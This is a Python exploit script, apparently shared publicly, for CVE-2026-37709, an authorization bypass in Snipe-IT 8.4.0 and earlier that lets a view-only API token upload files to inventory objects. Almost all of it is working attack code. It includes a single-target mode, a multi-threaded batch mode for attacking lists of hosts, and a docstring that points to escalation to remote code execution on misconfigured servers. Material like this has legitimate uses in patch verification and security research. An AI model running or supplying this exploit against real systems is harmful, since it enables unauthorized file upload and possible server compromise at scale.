📄 Snipe-IT 8.4.0 Authorization Bypass

#!/usr/bin/env python3
    """
    CVE-2026-37709 — Snipe-IT Authorization Bypass: Unauthorized File Upload
    Affected: Snipe-IT ≤ 8.4.0 (fixed in 8.4.1)
    Type: Authorization Bypass (CWE-284)
    
    The file upload endpoint POST /api/v1/{object_type}/{id}/files checks the 'view'
    permission gate instead of 'update'. Any API user with view-only access can
    upload arbitrary files to any visible object. On misconfigured servers (no PHP
    execution restriction under /uploads/), this escalates to RCE.
    
    Usage:
      python exploit.py --host <target> --port <port> --token <bearer_token>
      python exploit.py --host 192.168.1.10 --port 8080 --token eyJ0eX...
      python exploit.py --host https://snipeit.corp.com --token eyJ0eX...
      python exploit.py --host https://snipeit.corp.com --token eyJ0eX... --object-type licenses --object-id 3
      python exploit.py --list targets.txt --token eyJ0eX... --workers 20
    
    targets.txt format (one per line, comments with # ignored):
      192.168.1.10
      192.168.1.10:8080
      https://snipeit.corp.com
      https://snipeit.corp.com:443/
      # comment lines are skipped
    
    Required:
      --token   API Bearer token for a view-only account. Generate at:
                <instance>/users/<id>/api/tokens/create (any role with View Assets).
    
    Optional:
      --object-type   Snipe-IT object type to target (default: assets).
                      Valid: assets, licenses, accessories, consumables,
                             components, locations, users, departments,
                             companies, maintenances, models, suppliers
      --object-id     Numeric ID of the target object (default: 1).
                      IDs start at 1 and are sequential; ID 1 almost always
                      exists on real deployments.
    """
    
    import argparse
    import io
    import json
    import sys
    import uuid
    from urllib.parse import urlparse
    
    try:
        import requests
        requests.packages.urllib3.disable_warnings()  # suppress TLS cert warnings
    except ImportError:
        print("Error: 'requests' library required. Install with: pip install requests", file=sys.stderr)
        sys.exit(2)
    
    CVE_ID    = "CVE-2026-37709"
    VULN_TYPE = "Authorization Bypass / Unauthorized File Upload"
    
    OBJECT_TYPES = [
        "assets", "licenses", "accessories", "consumables",
        "components", "locations", "users", "departments",
        "companies", "maintenances", "models", "suppliers",
    ]
    
    PROBE_CONTENT = b"CVE-2026-37709-probe"
    PROBE_FILENAME = "cve-2026-37709-probe.txt"
    
    
    def header(host: str, port: int) -> None:
        print(f"\n{'='*60}")
        print(f"  ALIM EXPLOIT  {CVE_ID}")
        print(f"  Type: {VULN_TYPE}")
        print(f"  Target: {host}:{port}")
        print(f"{'='*60}\n")
    
    
    def step(n: int, msg: str) -> None:
        print(f"[STEP {n}] {msg}")
    
    
    def section(label: str, content: str) -> None:
        print(f"\n--- {label} ---")
        print(str(content).strip())
        print("---\n")
    
    
    def done(success: bool, evidence: str) -> None:
        print(f"\n{'='*60}")
        print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
        print(f"  EVIDENCE: {evidence}")
        print(f"{'='*60}\n")
        sys.exit(0 if success else 1)
    
    
    def _build_session(token: str) -> "requests.Session":
        session = requests.Session()
        session.headers.update({
            "Authorization": f"Bearer {token}",
            "Accept": "application/json",
        })
        return session
    
    
    def _base_url(host: str, port: int, use_tls: bool) -> str:
        scheme = "https" if use_tls else "http"
        if (use_tls and port == 443) or (not use_tls and port == 80):
            return f"{scheme}://{host}"
        return f"{scheme}://{host}:{port}"
    
    
    def _upload_file(
        session: "requests.Session",
        base: str,
        object_type: str,
        object_id: int,
        timeout: int = 15,
    ) -> "requests.Response":
        url = f"{base}/api/v1/{object_type}/{object_id}/files"
        files = {
            "file[]": (PROBE_FILENAME, io.BytesIO(PROBE_CONTENT), "text/plain"),
        }
        return session.post(url, files=files, verify=False, timeout=timeout,
                            allow_redirects=False)
    
    
    def _try_exploit(
        host: str,
        port: int,
        use_tls: bool,
        token: str = "",
        object_type: str = "assets",
        object_id: int = 1,
        **_kwargs,
    ) -> tuple[bool, str]:
        """Silent probe for --list scan mode. Returns (success, evidence). Never prints or exits."""
        if not token:
            return False, "no token provided"
        try:
            session = _build_session(token)
            base = _base_url(host, port, use_tls)
            # Quick auth check first to distinguish "down" from "patched"
            r = session.get(f"{base}/api/v1/hardware", params={"limit": 1},
                            verify=False, timeout=10, allow_redirects=False)
            if r.status_code == 401:
                return False, "HTTP 401 — token rejected"
            if r.status_code == 302:
                return False, "redirect — app not ready"
            resp = _upload_file(session, base, object_type, object_id)
            if resp.status_code == 200:
                try:
                    data = resp.json()
                    if data.get("status") == "success":
                        rows = data.get("payload", {}).get("rows", [])
                        fname = rows[0].get("filename", "uploaded") if rows else "uploaded"
                        return True, f"view-only user uploaded '{fname}' (HTTP 200 success)"
                except (ValueError, KeyError):
                    pass
                return True, f"HTTP 200 — likely vulnerable"
            if resp.status_code == 302:
                return False, "redirect to login — app not ready or wrong base URL"
            if resp.status_code == 401:
                return False, "HTTP 401 — token rejected or expired"
            if resp.status_code == 403:
                return False, "HTTP 403 — patched (update permission required)"
            if resp.status_code == 404:
                return False, f"HTTP 404 — object {object_type}/{object_id} not found"
            return False, f"HTTP {resp.status_code} — unexpected response"
        except requests.exceptions.ConnectionError as e:
            return False, f"unreachable (ConnectionError: {e.__class__.__name__})"
        except requests.exceptions.Timeout:
            return False, "unreachable (timeout)"
        except Exception as e:
            return False, f"error ({type(e).__name__}: {e})"
    
    
    def _parse_target(line: str, default_port: int, default_path: str = "/") -> tuple | None:
        """Parse one line into (host, port, use_tls, path). Returns None to skip."""
        line = line.strip()
        if not line or line.startswith("#"):
            return None
        if line.startswith(("http://", "https://")):
            p = urlparse(line)
            tls = p.scheme == "https"
            path = p.path if (p.path and p.path not in ("", "/")) else default_path
            return p.hostname, p.port or (443 if tls else default_port), tls, path
        if ":" in line:
            parts = line.rsplit(":", 1)
            try:
                port = int(parts[1])
                return parts[0], port, port in (443, 8443), default_path
            except ValueError:
                pass
        return line, default_port, default_port in (443, 8443), default_path
    
    
    def scan(
        targets_file: str,
        default_port: int,
        workers: int = 10,
        token: str = "",
        object_type: str = "assets",
        object_id: int = 1,
    ) -> None:
        """Batch scan from file."""
        import concurrent.futures
    
        with open(targets_file) as f:
            targets = [_parse_target(l, default_port) for l in f]
        targets = [t for t in targets if t is not None]
    
        print(f"\n{'='*60}")
        print(f"  {CVE_ID} — Batch Scan  ({len(targets)} targets, {workers} workers)")
        print(f"  Object: {object_type}/{object_id}")
        print(f"{'='*60}\n")
    
        success_count = 0
    
        def probe(t):
            host, port, use_tls, _ = t
            label = f"{'https' if use_tls else 'http'}://{host}:{port}"
            ok, evidence = _try_exploit(
                host, port, use_tls,
                token=token, object_type=object_type, object_id=object_id,
            )
            return label, ok, evidence
    
        with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
            futures = {ex.submit(probe, t): t for t in targets}
            for fut in concurrent.futures.as_completed(futures):
                label, ok, evidence = fut.result()
                status = "VULNERABLE" if ok else "Not vulnerable"
                print(f"  {'[+]' if ok else '[-]'} {label} — {status}: {evidence}")
                if ok:
                    success_count += 1
    
        total = len(targets)
        print(f"\n{'='*60}")
        print(f"  SCAN COMPLETE  {success_count} exploited / {total - success_count} not vulnerable  ({total} total)")
        print(f"{'='*60}\n")
        sys.exit(0 if success_count > 0 else 1)
    
    
    def exploit(
        host: str,
        port: int,
        use_tls: bool,
        token: str,
        object_type: str,
        object_id: int,
    ) -> None:
        header(host, port)
        base = _base_url(host, port, use_tls)
    
        # Snipe-IT API uses /hardware for asset listing (naming inconsistency), but
        # /assets/{id}/files for uploads. Use /hardware as the connectivity probe.
        step(1, f"Verifying API connectivity — GET {base}/api/v1/hardware?limit=1")
        session = _build_session(token)
        try:
            r_check = session.get(
                f"{base}/api/v1/hardware",
                params={"limit": 1},
                verify=False,
                timeout=15,
                allow_redirects=False,
            )
        except Exception as e:
            done(False, f"Connection failed: {e}")
    
        if r_check.status_code == 302:
            section("RESPONSE", r_check.text[:500])
            done(False, "Redirect to login — app not ready or base URL incorrect")
        if r_check.status_code == 401:
            section("RESPONSE", r_check.text[:500])
            done(False, "Token rejected (HTTP 401) — token invalid, expired, or wrong instance")
        if r_check.status_code not in (200, 403):
            section("RESPONSE", r_check.text[:500])
            done(False, f"Unexpected HTTP {r_check.status_code} during API check")
    
        section("API CHECK", f"HTTP {r_check.status_code} — token accepted")
    
        step(2, f"Uploading probe file as view-only user to {object_type}/{object_id}")
        step(2, f"  POST {base}/api/v1/{object_type}/{object_id}/files")
        step(2, f"  File: {PROBE_FILENAME} ({len(PROBE_CONTENT)} bytes)")
    
        try:
            resp = _upload_file(session, base, object_type, object_id)
        except Exception as e:
            done(False, f"Upload request failed: {e}")
    
        section("SERVER RESPONSE", f"HTTP {resp.status_code}\n{resp.text[:2000]}")
    
        if resp.status_code == 200:
            try:
                data = resp.json()
            except ValueError:
                done(False, "HTTP 200 but response is not JSON — unexpected")
    
            if data.get("status") == "success":
                rows = data.get("payload", {}).get("rows", [])
                if rows:
                    uploaded = rows[0]
                    fname = uploaded.get("filename", "?")
                    furl  = uploaded.get("url", "?")
                    fsize = uploaded.get("filesize", len(PROBE_CONTENT))
                    creator = uploaded.get("created_by", {}).get("name", "?")
                    step(3, f"Upload confirmed: '{fname}' created by '{creator}'")
                    step(3, f"  File URL: {furl}")
                    done(
                        True,
                        f"View-only user '{creator}' uploaded '{fname}' to "
                        f"{object_type}/{object_id} (HTTP 200 success) — "
                        f"authorization bypass confirmed; patch missing"
                    )
                done(True, "HTTP 200 with status:success — authorization bypass confirmed")
    
            msg = data.get("messages") or data.get("message") or str(data)
            done(False, f"HTTP 200 but unexpected payload: {str(msg)[:200]}")
    
        if resp.status_code == 403:
            try:
                msg = resp.json().get("message", resp.text[:200])
            except ValueError:
                msg = resp.text[:200]
            done(False, f"HTTP 403 — {msg} — target is patched (v8.4.1+)")
    
        if resp.status_code == 401:
            done(False, "HTTP 401 — token rejected at upload step")
    
        if resp.status_code == 404:
            done(
                False,
                f"HTTP 404 — object {object_type}/{object_id} not found; "
                f"try a different --object-id or --object-type"
            )
    
        done(False, f"HTTP {resp.status_code} — unrecognized response; target may be patched or misconfigured")
    
    
    if __name__ == "__main__":
        parser = argparse.ArgumentParser(
            description=f"{CVE_ID} — Snipe-IT view-only file upload authorization bypass",
            formatter_class=argparse.RawDescriptionHelpFormatter,
            epilog=__doc__,
        )
        target_grp = parser.add_mutually_exclusive_group(required=True)
        target_grp.add_argument(
            "--host",
            help="Target hostname, IP, or full URL (e.g. https://host:8443/path)",
        )
        target_grp.add_argument(
            "--list",
            metavar="FILE",
            help="File with one target per line for batch scan",
        )
        parser.add_argument("--port",        type=int, default=80,      help="Default port (default: 80)")
        parser.add_argument("--token",       default="",                help="API Bearer token for a view-only account (required for auth)")
        parser.add_argument("--object-type", default="assets",          help=f"Snipe-IT object type (default: assets). One of: {', '.join(OBJECT_TYPES)}")
        parser.add_argument("--object-id",   type=int, default=1,       help="Numeric object ID to target (default: 1)")
        parser.add_argument("--workers",     type=int, default=10,      help="Threads for --list mode (default: 10)")
        tls_grp = parser.add_mutually_exclusive_group()
        tls_grp.add_argument("--tls",    action="store_true", help="Force TLS")
        tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
        args = parser.parse_args()
    
        if not args.token:
            print(
                f"\n[!] --token is required. Generate one at:\n"
                f"    <instance>/users/<id>/api/tokens/create\n"
                f"    Any account with 'View Assets' role permission works.\n",
                file=sys.stderr,
            )
            parser.print_usage(sys.stderr)
            sys.exit(2)
    
        if args.list:
            scan(
                args.list,
                default_port=args.port,
                workers=args.workers,
                token=args.token,
                object_type=args.object_type,
                object_id=args.object_id,
            )
        else:
            parsed = _parse_target(args.host, args.port)
            if parsed is None:
                print(f"Error: could not parse target '{args.host}'", file=sys.stderr)
                sys.exit(2)
            host, port, use_tls, _ = parsed
            if args.tls:    use_tls = True
            if args.no_tls: use_tls = False
            exploit(host, port, use_tls, args.token, args.object_type, args.object_id)